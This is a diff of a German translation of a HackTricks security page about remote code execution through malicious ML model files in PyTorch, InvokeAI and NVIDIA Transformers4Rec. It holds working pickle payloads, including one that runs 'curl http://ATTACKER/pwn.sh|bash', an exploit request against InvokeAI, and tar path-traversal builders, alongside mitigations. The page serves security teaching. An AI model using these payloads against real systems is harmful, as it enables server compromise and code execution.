diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 7fa8c914e..7eef3050e 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -1,45 +1,46 @@ -# Models RCE +# Modelle RCE {{#include ../banners/hacktricks-training.md}} -## Laden von Modellen zu RCE +## Modelle laden für RCE -Machine Learning-Modelle werden normalerweise in verschiedenen Formaten geteilt, wie ONNX, TensorFlow, PyTorch usw. Diese Modelle können auf den Maschinen der Entwickler oder in Produktionssystemen geladen werden, um sie zu verwenden. Normalerweise sollten die Modelle keinen schädlichen Code enthalten, aber es gibt einige Fälle, in denen das Modell verwendet werden kann, um beliebigen Code auf dem System auszuführen, entweder als beabsichtigte Funktion oder aufgrund einer Schwachstelle in der Bibliothek zum Laden des Modells. +Machine-Learning-Modelle werden üblicherweise in verschiedenen Formaten geteilt, wie ONNX, TensorFlow, PyTorch, etc. Diese Modelle können auf Entwicklerrechnern oder Produktionssystemen geladen werden, um sie zu verwenden. Normalerweise sollten die Modelle keinen bösartigen Code enthalten, aber es gibt Fälle, in denen das Modell dazu verwendet werden kann, beliebigen Code auf dem System auszuführen — entweder als beabsichtigte Funktion oder wegen einer Schwachstelle in der Model-Ladebibliothek. -Zum Zeitpunkt des Schreibens sind dies einige Beispiele für diese Art von Schwachstellen: +Zum Zeitpunkt der Abfassung sind dies einige Beispiele für diese Art von Schwachstellen: -| **Framework / Tool** | **Schwachstelle (CVE, falls verfügbar)** | **RCE-Vektor** | **Referenzen** | +| **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** | |-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------| -| **PyTorch** (Python) | *Unsichere Deserialisierung in* `torch.load` **(CVE-2025-32434)** | Schadhafter Pickle im Modell-Checkpoint führt zur Codeausführung (Umgehung der `weights_only`-Sicherung) | | -| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + schadhafter Modell-Download verursacht Codeausführung; Java-Deserialisierungs-RCE in der Verwaltungs-API | | -| **TensorFlow/Keras** | **CVE-2021-37678** (unsicheres YAML)
**CVE-2024-3660** (Keras Lambda) | Laden des Modells aus YAML verwendet `yaml.unsafe_load` (Codeausführung)
Laden des Modells mit **Lambda**-Schicht führt zur Ausführung beliebigen Python-Codes | | -| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite-Parsing) | Ausgelöstes `.tflite`-Modell verursacht ganzzahlige Überläufe → Heap-Korruption (potenzielles RCE) | | -| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laden eines Modells über `joblib.load` führt zur Ausführung von Pickle mit dem Payload des Angreifers `__reduce__` | | -| **NumPy** (Python) | **CVE-2019-6446** (unsicheres `np.load`) *umstritten* | `numpy.load` erlaubte standardmäßig pickled Objektarrays – schadhafter `.npy/.npz`-Datei führt zur Codeausführung | | -| **ONNX / ONNX Runtime** | **CVE-2022-25882** (Verzeichnisdurchquerung)
**CVE-2024-5187** (tar-Durchquerung) | Der externe Gewichts-Pfad des ONNX-Modells kann das Verzeichnis verlassen (beliebige Dateien lesen)
Schadhafter ONNX-Modell-Tar kann beliebige Dateien überschreiben (führt zu RCE) | | -| ONNX Runtime (Designrisiko) | *(Keine CVE)* ONNX benutzerdefinierte Operationen / Kontrollfluss | Modell mit benutzerdefiniertem Operator erfordert das Laden des nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik, um unbeabsichtigte Berechnungen auszuführen | | -| **NVIDIA Triton Server** | **CVE-2023-31036** (Pfad-Durchquerung) | Verwendung der Modell-Lade-API mit aktiviertem `--model-control` ermöglicht relative Pfad-Durchquerung zum Schreiben von Dateien (z. B. Überschreiben von `.bashrc` für RCE) | | -| **GGML (GGUF-Format)** | **CVE-2024-25664 … 25668** (mehrere Heap-Überläufe) | Fehlformatierte GGUF-Modell-Datei verursacht Heap-Pufferüberläufe im Parser, was die Ausführung beliebigen Codes auf dem Opfersystem ermöglicht | | -| **Keras (ältere Formate)** | *(Keine neue CVE)* Legacy Keras H5-Modell | Schadhafter HDF5 (`.h5`) Modell mit Lambda-Schicht-Code wird beim Laden weiterhin ausgeführt (Keras safe_mode deckt das alte Format nicht ab – „Downgrade-Angriff“) | | -| **Andere** (allgemein) | *Designfehler* – Pickle-Serialisierung | Viele ML-Tools (z. B. pickle-basierte Modellformate, Python `pickle.load`) führen beliebigen Code aus, der in Modell-Dateien eingebettet ist, es sei denn, es gibt Abhilfemaßnahmen | | +| **PyTorch** (Python) | *Insecure deserialization in* `torch.load` **(CVE-2025-32434)** | Bösartige pickle im Model-Checkpoint führt zu Codeausführung (Umgehung der `weights_only`-Absicherung) | | +| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + bösartiger Model-Download verursacht Codeausführung; Java-Deserialisierungs-RCE in Management-API | | +| **NVIDIA Merlin Transformers4Rec** | Unsafe checkpoint deserialization via `torch.load` **(CVE-2025-23298)** | Untrusted checkpoint löst pickle-Reducer beim `load_model_trainer_states_from_checkpoint` aus → Codeausführung im ML-Worker | [ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) | +| **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML)
**CVE-2024-3660** (Keras Lambda) | Laden eines Modells aus YAML verwendet `yaml.unsafe_load` (Codeausführung)
Laden eines Modells mit **Lambda**-Layer führt beliebigen Python-Code aus | | +| TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | Manipuliertes `.tflite`-Modell löst Integer-Overflow aus → Heap-Korruption (potenzielles RCE) | | +| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Laden eines Modells via `joblib.load` führt pickle mit dem `__reduce__`-Payload des Angreifers aus | | +| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` erlaubte standardmäßig gepicklete Objekt-Arrays – bösartige `.npy/.npz` löst Codeausführung aus | | +| **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal)
**CVE-2024-5187** (tar traversal) | Externe-weights-Pfad eines ONNX-Modells kann das Verzeichnis verlassen (Beliebige Dateien lesen)
Bösartiges ONNX-Modell-Tar kann beliebige Dateien überschreiben (führt potentiell zu RCE) | | +| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | Modell mit custom operator erfordert das Laden nativen Codes des Angreifers; komplexe Modellgraphen missbrauchen Logik für unerwünschte Berechnungen | | +| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | Verwendung der Model-Load-API mit aktivierter `--model-control` erlaubt relative Pfad-Traversal zum Schreiben von Dateien (z. B. Überschreiben von `.bashrc` für RCE) | | +| **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | Fehlerhaftes GGUF-Modell verursacht Heap-Buffer-Overflows im Parser, was die Ausführung beliebigen Codes auf dem Zielsystem ermöglicht | | +| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Bösartige HDF5 (`.h5`) Modell mit Lambda-Layer-Code wird beim Laden weiterhin ausgeführt (Keras `safe_mode` deckt altes Format nicht ab – „downgrade attack“) | | +| **Others** (general) | *Design flaw* – Pickle serialization | Viele ML-Tools (z. B. pickle-basierte Modellformate, Python `pickle.load`) führen beliebigen Code aus, der in Modell-Dateien eingebettet ist, sofern nicht gemindert | | -Darüber hinaus gibt es einige auf Python-Pickle basierende Modelle wie die von [PyTorch](https://github.com/pytorch/pytorch/security), die verwendet werden können, um beliebigen Code auf dem System auszuführen, wenn sie nicht mit `weights_only=True` geladen werden. Daher könnte jedes auf Pickle basierende Modell besonders anfällig für diese Art von Angriffen sein, auch wenn sie nicht in der obigen Tabelle aufgeführt sind. +Außerdem gibt es einige Python-pickle-basierte Modelle, wie die von [PyTorch](https://github.com/pytorch/pytorch/security), die dazu verwendet werden können, beliebigen Code auf dem System auszuführen, wenn sie nicht mit `weights_only=True` geladen werden. Daher können beliebige pickle-basierte Modelle besonders anfällig für diese Art von Angriffen sein, selbst wenn sie nicht in der obigen Tabelle aufgeführt sind. ### 🆕 InvokeAI RCE über `torch.load` (CVE-2024-12029) -`InvokeAI` ist eine beliebte Open-Source-Webschnittstelle für Stable-Diffusion. Die Versionen **5.3.1 – 5.4.2** exponieren den REST-Endpunkt `/api/v2/models/install`, der es Benutzern ermöglicht, Modelle von beliebigen URLs herunterzuladen und zu laden. +`InvokeAI` ist eine beliebte Open-Source-Weboberfläche für Stable-Diffusion. Versionen **5.3.1 – 5.4.2** stellen den REST-Endpunkt `/api/v2/models/install` bereit, der es Benutzern ermöglicht, Modelle von beliebigen URLs herunterzuladen und zu laden. Intern ruft der Endpunkt schließlich auf: ```python checkpoint = torch.load(path, map_location=torch.device("meta")) ``` -Wenn die bereitgestellte Datei ein **PyTorch-Checkpoint (`*.ckpt`)** ist, führt `torch.load` eine **Pickle-Deserialisierung** durch. Da der Inhalt direkt von der benutzerkontrollierten URL stammt, kann ein Angreifer ein bösartiges Objekt mit einer benutzerdefinierten `__reduce__`-Methode im Checkpoint einbetten; die Methode wird **während der Deserialisierung** ausgeführt, was zu **Remote Code Execution (RCE)** auf dem InvokeAI-Server führt. +Wenn die gelieferte Datei ein **PyTorch checkpoint (`*.ckpt`)** ist, führt `torch.load` eine **pickle deserialization** durch. Da der Inhalt direkt von einer vom Benutzer kontrollierten URL stammt, kann ein Angreifer ein bösartiges Objekt mit einer benutzerdefinierten `__reduce__`-Methode in den Checkpoint einbetten; die Methode wird **during deserialization** ausgeführt, was zu **remote code execution (RCE)** auf dem InvokeAI-Server führt. -Die Schwachstelle wurde mit **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %) bewertet. +Die Schwachstelle wurde als **CVE-2024-12029** eingestuft (CVSS 9.8, EPSS 61.17 %). -#### Ausbeutungsdurchgang +#### Exploitation walk-through -1. Erstellen Sie einen bösartigen Checkpoint: +1. Erstelle einen bösartigen Checkpoint: ```python # payload_gen.py import pickle, torch, os @@ -51,8 +52,8 @@ return (os.system, ("/bin/bash -c 'curl http://ATTACKER/pwn.sh|bash'",)) with open("payload.ckpt", "wb") as f: pickle.dump(Payload(), f) ``` -2. Hoste `payload.ckpt` auf einem HTTP-Server, den du kontrollierst (z.B. `http://ATTACKER/payload.ckpt`). -3. Trigger den verwundbaren Endpunkt (keine Authentifizierung erforderlich): +2. Stellen Sie `payload.ckpt` auf einem von Ihnen kontrollierten HTTP-Server bereit (z. B. `http://ATTACKER/payload.ckpt`). +3. Rufen Sie den vulnerable endpoint auf (keine Authentifizierung erforderlich): ```python import requests @@ -67,36 +68,79 @@ json={}, # body can be empty timeout=5, ) ``` -4. Wenn InvokeAI die Datei herunterlädt, wird `torch.load()` aufgerufen → das `os.system` Gadget wird ausgeführt und der Angreifer erhält Codeausführung im Kontext des InvokeAI-Prozesses. +4. Wenn InvokeAI die Datei herunterlädt, ruft es `torch.load()` auf → das `os.system`-Gadget wird ausgeführt und der Angreifer erlangt Codeausführung im Kontext des InvokeAI-Prozesses. -Fertiger Exploit: **Metasploit** Modul `exploit/linux/http/invokeai_rce_cve_2024_12029` automatisiert den gesamten Ablauf. +Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` automates the whole flow. -#### Bedingungen +#### Conditions -• InvokeAI 5.3.1-5.4.2 (Scan-Flag standardmäßig **false**) -• `/api/v2/models/install` vom Angreifer erreichbar -• Prozess hat Berechtigungen zur Ausführung von Shell-Befehlen +• InvokeAI 5.3.1-5.4.2 (scan flag standardmäßig **false**) +• `/api/v2/models/install` für den Angreifer erreichbar +• Prozess hat Berechtigungen, Shell-Befehle auszuführen -#### Minderung +#### Mitigations -* Upgrade auf **InvokeAI ≥ 5.4.3** – der Patch setzt `scan=True` standardmäßig und führt eine Malware-Überprüfung vor der Deserialisierung durch. -* Verwenden Sie beim programmgesteuerten Laden von Checkpoints `torch.load(file, weights_only=True)` oder den neuen [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) Helfer. -* Erzwingen Sie Erlauben-Listen / Signaturen für Modellquellen und führen Sie den Dienst mit minimalen Rechten aus. +* Upgrade to **InvokeAI ≥ 5.4.3** – der Patch setzt `scan=True` standardmäßig und führt Malware-Scans vor der Deserialisierung durch. +* Beim programmatischen Laden von Checkpoints `torch.load(file, weights_only=True)` verwenden oder den neuen [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper. +* Erzwinge allow-lists / signatures für model sources und betreibe den Service mit least-privilege. -> ⚠️ Denken Sie daran, dass **jede** Python-Pickle-basierte Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) von Natur aus unsicher ist, um von nicht vertrauenswürdigen Quellen deserialisiert zu werden. +> ⚠️ Denk daran, dass **jedes** auf Python-pickle basierende Format (einschließlich vieler `.pt`, `.pkl`, `.ckpt`, `.pth` Dateien) inhärent unsicher ist, wenn es aus nicht vertrauenswürdigen Quellen deserialisiert wird. --- -Beispiel für eine ad-hoc Minderung, wenn Sie ältere InvokeAI-Versionen hinter einem Reverse-Proxy betreiben müssen: +Beispiel für eine Ad-hoc-Maßnahme, wenn Sie ältere InvokeAI-Versionen hinter einem reverse proxy weiter betreiben müssen: ```nginx location /api/v2/models/install { deny all; # block direct Internet access allow 10.0.0.0/8; # only internal CI network can call it } ``` -## Beispiel – Erstellen eines bösartigen PyTorch-Modells +### 🆕 NVIDIA Merlin Transformers4Rec RCE über unsichere `torch.load` (CVE-2025-23298) -- Erstellen Sie das Modell: +NVIDIA’s Transformers4Rec (Teil von Merlin) enthielt einen unsicheren Checkpoint-Loader, der direkt `torch.load()` auf benutzerbereitgestellten Pfaden aufrief. Da `torch.load` auf Python `pickle` basiert, kann ein von einem Angreifer kontrollierter Checkpoint während der Deserialisierung über einen Reducer beliebigen Code ausführen. + +Anfälliger Pfad (vor Fix): `transformers4rec/torch/trainer/trainer.py` → `load_model_trainer_states_from_checkpoint(...)` → `torch.load(...)`. + +Warum das zu RCE führt: Im Python `pickle` kann ein Objekt einen Reducer (`__reduce__`/`__setstate__`) definieren, der eine aufrufbare Funktion und Argumente zurückgibt. Die aufrufbare Funktion wird während des Unpicklings ausgeführt. Wenn ein solches Objekt in einem Checkpoint vorhanden ist, läuft es, bevor irgendwelche Weights verwendet werden. + +Minimales bösartiges Checkpoint-Beispiel: +```python +import torch + +class Evil: +def __reduce__(self): +import os +return (os.system, ("id > /tmp/pwned",)) + +# Place the object under a key guaranteed to be deserialized early +ckpt = { +"model_state_dict": Evil(), +"trainer_state": {"epoch": 10}, +} + +torch.save(ckpt, "malicious.ckpt") +``` +Verbreitungsvektoren und Blast-Radius: +- Trojanized checkpoints/models shared via repos, buckets, or artifact registries +- Automated resume/deploy pipelines that auto-load checkpoints +- Die Ausführung erfolgt innerhalb von training/inference-Workern, oft mit erhöhten Rechten (z. B. root in Containern) + +Behebung: Commit [b7eaea5](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) (PR #802) ersetzte das direkte `torch.load()` durch einen eingeschränkten, zugelassenen Deserializer, implementiert in `transformers4rec/utils/serialization.py`. Der neue Loader validiert Typen/Felder und verhindert, dass während des Ladens beliebige Callables ausgeführt werden. + +Empfehlungen speziell für PyTorch-Checkpoints: +- Unpicklen Sie keine nicht vertrauenswürdigen Daten. Bevorzugen Sie nicht-ausführbare Formate wie [Safetensors](https://huggingface.co/docs/safetensors/index) oder ONNX, wenn möglich. +- Wenn Sie PyTorch-Serialization verwenden müssen, stellen Sie sicher, dass `weights_only=True` (in neueren PyTorch-Versionen unterstützt) oder verwenden Sie einen benutzerdefinierten, zugelassenen Unpickler ähnlich dem Transformers4Rec-Patch. +- Setzen Sie Model-Provenienz/Signaturen durch und sandboxt die Deserialisierung (seccomp/AppArmor; Nicht-Root-Benutzer; eingeschränktes Dateisystem und kein ausgehender Netzwerkverkehr). +- Überwachen Sie unerwartete Child-Prozesse von ML-Services zur Checkpoint-Ladezeit; verfolgen Sie die Nutzung von `torch.load()`/`pickle`. + +POC- und verwundbare/patch-Referenzen: +- Verwundbarer Pre-Patch-Loader: https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js +- Bösartiger Checkpoint-POC: https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js +- Post-Patch-Loader: https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js + +## Beispiel – Erstellung eines bösartigen PyTorch-Modells + +- Erstelle das Modell: ```python # attacker_payload.py import torch @@ -113,7 +157,7 @@ malicious_state = {"fc.weight": MaliciousPayload()} # Save the malicious state dict torch.save(malicious_state, "malicious_state.pth") ``` -- Lade das Modell: +- Modell laden: ```python # victim_load.py import torch @@ -131,11 +175,11 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False)) # /tmp/pwned.txt is created even if you get an error ``` -## Modelle zu Pfad Traversierung +## Modelle für Path Traversal -Wie in [**diesem Blogbeitrag**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties) kommentiert, basieren die meisten Modellformate, die von verschiedenen KI-Frameworks verwendet werden, auf Archiven, normalerweise `.zip`. Daher könnte es möglich sein, diese Formate auszunutzen, um Pfad Traversierungsangriffe durchzuführen, die es ermöglichen, beliebige Dateien vom System zu lesen, auf dem das Modell geladen wird. +As commented in [**this blog post**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), most models formats used by different AI frameworks are based on archives, usually `.zip`. Therefore, it might be possible to abuse these formats to perform path traversal attacks, allowing to read arbitrary files from the system where the model is loaded. -Zum Beispiel können Sie mit dem folgenden Code ein Modell erstellen, das eine Datei im Verzeichnis `/tmp` erstellt, wenn es geladen wird: +Zum Beispiel können Sie mit folgendem Code ein Modell erstellen, das beim Laden eine Datei im Verzeichnis `/tmp` erstellt: ```python import tarfile @@ -146,7 +190,7 @@ return member with tarfile.open("traversal_demo.model", "w:gz") as tf: tf.add("harmless.txt", filter=escape) ``` -Oder, mit dem folgenden Code können Sie ein Modell erstellen, das beim Laden einen Symlink zum Verzeichnis `/tmp` erstellt: +Oder können Sie mit dem folgenden Code ein Modell erstellen, das beim Laden einen symlink zum Verzeichnis `/tmp` erstellt: ```python import tarfile, pathlib @@ -161,9 +205,10 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` -### Deep-dive: Keras .keras Deserialisierung und Gadget-Suche +### Tiefenanalyse: Keras .keras deserialization and gadget hunting + +Für einen fokussierten Leitfaden zu den Interna von .keras, Lambda-layer RCE, dem arbitrary import issue in ≤ 3.8 und der post-fix gadget discovery innerhalb der allowlist, siehe: -Für einen fokussierten Leitfaden zu .keras-Interna, Lambda-Layer RCE, dem Problem mit dem willkürlichen Import in ≤ 3.8 und der Entdeckung von Post-Fix-Gadgets innerhalb der Allowlist, siehe: {{#ref}} ../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -171,9 +216,16 @@ Für einen fokussierten Leitfaden zu .keras-Interna, Lambda-Layer RCE, dem Probl ## Referenzen -- [OffSec Blog – "CVE-2024-12029 – InvokeAI Deserialisierung von nicht vertrauenswürdigen Daten"](https://www.offsec.com/blog/cve-2024-12029/) -- [InvokeAI Patch Commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) -- [Rapid7 Metasploit Modul Dokumentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) -- [PyTorch – Sicherheitsüberlegungen für torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) +- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/) +- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) +- [Rapid7 Metasploit module documentation](https://www.rapid7.com/db/modules/exploit/linux/http/invokeai_rce_cve_2024_12029/) +- [PyTorch – security considerations for torch.load](https://pytorch.org/docs/stable/notes/serialization.html#security) +- [ZDI blog – CVE-2025-23298 Getting Remote Code Execution in NVIDIA Merlin](https://www.thezdi.com/blog/2025/9/23/cve-2025-23298-getting-remote-code-execution-in-nvidia-merlin) +- [ZDI advisory: ZDI-25-833](https://www.zerodayinitiative.com/advisories/ZDI-25-833/) +- [Transformers4Rec patch commit b7eaea5 (PR #802)](https://github.com/NVIDIA-Merlin/Transformers4Rec/pull/802/commits/b7eaea527d6ef46024f0a5086bce4670cc140903) +- [Pre-patch vulnerable loader (gist)](https://gist.github.com/zdi-team/56ad05e8a153c84eb3d742e74400fd10.js) +- [Malicious checkpoint PoC (gist)](https://gist.github.com/zdi-team/fde7771bb93ffdab43f15b1ebb85e84f.js) +- [Post-patch loader (gist)](https://gist.github.com/zdi-team/a0648812c52ab43a3ce1b3a090a0b091.js) +- [Hugging Face Transformers](https://github.com/huggingface/transformers) {{#include ../banners/hacktricks-training.md}}